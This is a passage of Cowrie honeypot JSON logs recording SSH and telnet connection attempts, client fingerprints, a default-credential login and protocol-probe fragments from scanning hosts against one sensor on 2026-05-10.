,"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:12:55.425531Z","src_ip":"87.251.64.176","session":"9ab9a921b424","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:12:55.714223Z","src_ip":"87.251.64.176","session":"9ab9a921b424","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:12:55.812206Z","session":"9ab9a921b424","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:12:55.910810Z","src_ip":"87.251.64.176","session":"9ab9a921b424","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:12:56.010426Z","src_ip":"87.251.64.176","session":"9ab9a921b424","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":15962,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5307d5bbb9a","protocol":"ssh","message":"New connection: 194.59.206.2:15962 (10.17.0.5:22) [session: d5307d5bbb9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:13:23.878116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:13:23.882844Z","src_ip":"194.59.206.2","session":"d5307d5bbb9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:13:23.972891Z","src_ip":"194.59.206.2","session":"d5307d5bbb9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:13:24.067014Z","src_ip":"194.59.206.2","session":"d5307d5bbb9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.190","src_port":46530,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a953cbff1af","protocol":"ssh","message":"New connection: 176.65.132.190:46530 (10.17.0.5:22) [session: 8a953cbff1af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:13:31.968379Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:13:31.974168Z","src_ip":"176.65.132.190","session":"8a953cbff1af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":8237,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0c19d98af24","protocol":"telnet","message":"New connection: 212.55.149.117:8237 (10.17.0.5:23) [session: e0c19d98af24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:24.291075Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.116.221","src_port":63164,"dst_ip":"10.17.0.5","dst_port":23,"session":"739211ab8e55","protocol":"telnet","message":"New connection: 35.233.116.221:63164 (10.17.0.5:23) [session: 739211ab8e55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:26.189265Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.116.221","src_port":63176,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcf8f40efb58","protocol":"telnet","message":"New connection: 35.233.116.221:63176 (10.17.0.5:23) [session: bcf8f40efb58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:26.345049Z"}
{"eventid":"cowrie.session.closed","duration":0.0060384273529052734,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:26.350965Z","src_ip":"35.233.116.221","session":"bcf8f40efb58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.116.221","src_port":63182,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c7b59ef8de7","protocol":"telnet","message":"New connection: 35.233.116.221:63182 (10.17.0.5:23) [session: 5c7b59ef8de7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:26.500610Z"}
{"eventid":"cowrie.session.closed","duration":12.375026941299438,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:38.564206Z","src_ip":"35.233.116.221","session":"739211ab8e55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.116.221","src_port":39358,"dst_ip":"10.17.0.5","dst_port":23,"session":"4581440c9e9c","protocol":"telnet","message":"New connection: 35.233.116.221:39358 (10.17.0.5:23) [session: 4581440c9e9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:45.654191Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:45.659569Z","src_ip":"35.233.116.221","session":"4581440c9e9c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:45.667804Z","src_ip":"35.233.116.221","session":"4581440c9e9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.0921475887298584,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:45.746215Z","src_ip":"35.233.116.221","session":"4581440c9e9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.116.221","src_port":39372,"dst_ip":"10.17.0.5","dst_port":23,"session":"19a44840cdfd","protocol":"telnet","message":"New connection: 35.233.116.221:39372 (10.17.0.5:23) [session: 19a44840cdfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:45.821032Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.116.221","src_port":39374,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b2f6fad436f","protocol":"telnet","message":"New connection: 35.233.116.221:39374 (10.17.0.5:23) [session: 3b2f6fad436f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:45.974975Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.116.221","src_port":39390,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d99bfc4a87c","protocol":"telnet","message":"New connection: 35.233.116.221:39390 (10.17.0.5:23) [session: 4d99bfc4a87c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:46.128728Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.116.221","src_port":39406,"dst_ip":"10.17.0.5","dst_port":23,"session":"cebc63f19fd6","protocol":"telnet","message":"New connection: 35.233.116.221:39406 (10.17.0.5:23) [session: cebc63f19fd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:46.282921Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.116.221","src_port":39414,"dst_ip":"10.17.0.5","dst_port":23,"session":"d068fdd2b2ce","protocol":"telnet","message":"New connection: 35.233.116.221:39414 (10.17.0.5:23) [session: d068fdd2b2ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:46.436935Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.116.221","src_port":39428,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cfa87f7a089","protocol":"telnet","message":"New connection: 35.233.116.221:39428 (10.17.0.5:23) [session: 4cfa87f7a089]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:46.590855Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.116.221","src_port":39430,"dst_ip":"10.17.0.5","dst_port":23,"session":"84ed89459501","protocol":"telnet","message":"New connection: 35.233.116.221:39430 (10.17.0.5:23) [session: 84ed89459501]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:46.745245Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.116.221","src_port":39444,"dst_ip":"10.17.0.5","dst_port":23,"session":"232f427c8dc5","protocol":"telnet","message":"New connection: 35.233.116.221:39444 (10.17.0.5:23) [session: 232f427c8dc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:46.899708Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.116.221","src_port":39456,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0248da47be0","protocol":"telnet","message":"New connection: 35.233.116.221:39456 (10.17.0.5:23) [session: f0248da47be0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:47.056520Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.116.221","src_port":39460,"dst_ip":"10.17.0.5","dst_port":23,"session":"90e2539b3b63","protocol":"telnet","message":"New connection: 35.233.116.221:39460 (10.17.0.5:23) [session: 90e2539b3b63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:47.285038Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.116.221","src_port":39466,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cb2d9ef4c0f","protocol":"telnet","message":"New connection: 35.233.116.221:39466 (10.17.0.5:23) [session: 3cb2d9ef4c0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:47.438578Z"}
{"eventid":"cowrie.session.closed","duration":0.004642486572265625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:47.443130Z","src_ip":"35.233.116.221","session":"3cb2d9ef4c0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.116.221","src_port":39470,"dst_ip":"10.17.0.5","dst_port":23,"session":"eac80152e39d","protocol":"telnet","message":"New connection: 35.233.116.221:39470 (10.17.0.5:23) [session: eac80152e39d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:47.593244Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.116.221","src_port":39484,"dst_ip":"10.17.0.5","dst_port":23,"session":"a19d42da77dc","protocol":"telnet","message":"New connection: 35.233.116.221:39484 (10.17.0.5:23) [session: a19d42da77dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:47.746864Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.116.221","src_port":39500,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d9ad3669c27","protocol":"telnet","message":"New connection: 35.233.116.221:39500 (10.17.0.5:23) [session: 2d9ad3669c27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:47.900864Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.116.221","src_port":39504,"dst_ip":"10.17.0.5","dst_port":23,"session":"57d97c1ab8b9","protocol":"telnet","message":"New connection: 35.233.116.221:39504 (10.17.0.5:23) [session: 57d97c1ab8b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:48.054873Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.116.221","src_port":39518,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d35c086e202","protocol":"telnet","message":"New connection: 35.233.116.221:39518 (10.17.0.5:23) [session: 1d35c086e202]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:48.212565Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.116.221","src_port":39524,"dst_ip":"10.17.0.5","dst_port":23,"session":"daa9b8b90936","protocol":"telnet","message":"New connection: 35.233.116.221:39524 (10.17.0.5:23) [session: daa9b8b90936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:48.366471Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.116.221","src_port":39534,"dst_ip":"10.17.0.5","dst_port":23,"session":"78a29d8eb886","protocol":"telnet","message":"New connection: 35.233.116.221:39534 (10.17.0.5:23) [session: 78a29d8eb886]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:48.520282Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.116.221","src_port":39546,"dst_ip":"10.17.0.5","dst_port":23,"session":"01a4d56db294","protocol":"telnet","message":"New connection: 35.233.116.221:39546 (10.17.0.5:23) [session: 01a4d56db294]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:48.675693Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.116.221","src_port":24658,"dst_ip":"10.17.0.5","dst_port":23,"session":"c683d81e4924","protocol":"telnet","message":"New connection: 35.233.116.221:24658 (10.17.0.5:23) [session: c683d81e4924]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:48.831581Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:48.836873Z","src_ip":"35.233.116.221","session":"c683d81e4924","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.116.221","src_port":24668,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ebfe0a273f0","protocol":"telnet","message":"New connection: 35.233.116.221:24668 (10.17.0.5:23) [session: 8ebfe0a273f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:48.989748Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.116.221","src_port":24670,"dst_ip":"10.17.0.5","dst_port":23,"session":"43b9e4690d5b","protocol":"telnet","message":"New connection: 35.233.116.221:24670 (10.17.0.5:23) [session: 43b9e4690d5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:49.143239Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.116.221","src_port":24674,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2b9bf244cda","protocol":"telnet","message":"New connection: 35.233.116.221:24674 (10.17.0.5:23) [session: a2b9bf244cda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:49.297220Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.116.221","src_port":24682,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1bdb8611eb6","protocol":"telnet","message":"New connection: 35.233.116.221:24682 (10.17.0.5:23) [session: a1bdb8611eb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:49.454270Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.116.221","src_port":24684,"dst_ip":"10.17.0.5","dst_port":23,"session":"80131316d94a","protocol":"telnet","message":"New connection: 35.233.116.221:24684 (10.17.0.5:23) [session: 80131316d94a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:49.608942Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.116.221","src_port":24690,"dst_ip":"10.17.0.5","dst_port":23,"session":"15b01774fad2","protocol":"telnet","message":"New connection: 35.233.116.221:24690 (10.17.0.5:23) [session: 15b01774fad2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:49.764482Z"}
{"eventid":"cowrie.session.closed","duration":0.005184173583984375,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:49.769544Z","src_ip":"35.233.116.221","session":"15b01774fad2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.116.221","src_port":24704,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1f50bab4439","protocol":"telnet","message":"New connection: 35.233.116.221:24704 (10.17.0.5:23) [session: e1f50bab4439]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:49.920303Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.116.221","src_port":24706,"dst_ip":"10.17.0.5","dst_port":23,"session":"d913deb5859f","protocol":"telnet","message":"New connection: 35.233.116.221:24706 (10.17.0.5:23) [session: d913deb5859f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:50.076870Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 738","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 738] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:50.081950Z","src_ip":"35.233.116.221","session":"d913deb5859f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":30262,"dst_ip":"10.17.0.5","dst_port":22,"session":"378d5223fdef","protocol":"ssh","message":"New connection: 87.251.64.176:30262 (10.17.0.5:22) [session: 378d5223fdef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:53.325422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:53.329818Z","src_ip":"87.251.64.176","session":"378d5223fdef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:53.425628Z","src_ip":"87.251.64.176","session":"378d5223fdef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.551340103149414,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:53.628111Z","src_ip":"35.233.116.221","session":"d913deb5859f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.7152833938598633,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:53.635414Z","src_ip":"35.233.116.221","session":"e1f50bab4439","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.029557466506958,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:53.638373Z","src_ip":"35.233.116.221","session":"80131316d94a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.187302827835083,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:53.641439Z","src_ip":"35.233.116.221","session":"a1bdb8611eb6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.347613334655762,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:53.644713Z","src_ip":"35.233.116.221","session":"a2b9bf244cda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.5042009353637695,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:53.647315Z","src_ip":"35.233.116.221","session":"43b9e4690d5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.818138599395752,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:53.649591Z","src_ip":"35.233.116.221","session":"c683d81e4924","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.663068771362305,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:53.652682Z","src_ip":"35.233.116.221","session":"8ebfe0a273f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.979972839355469,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:53.655538Z","src_ip":"35.233.116.221","session":"01a4d56db294","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.143793106079102,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:53.663979Z","src_ip":"35.233.116.221","session":"78a29d8eb886","protocol":"telnet"}
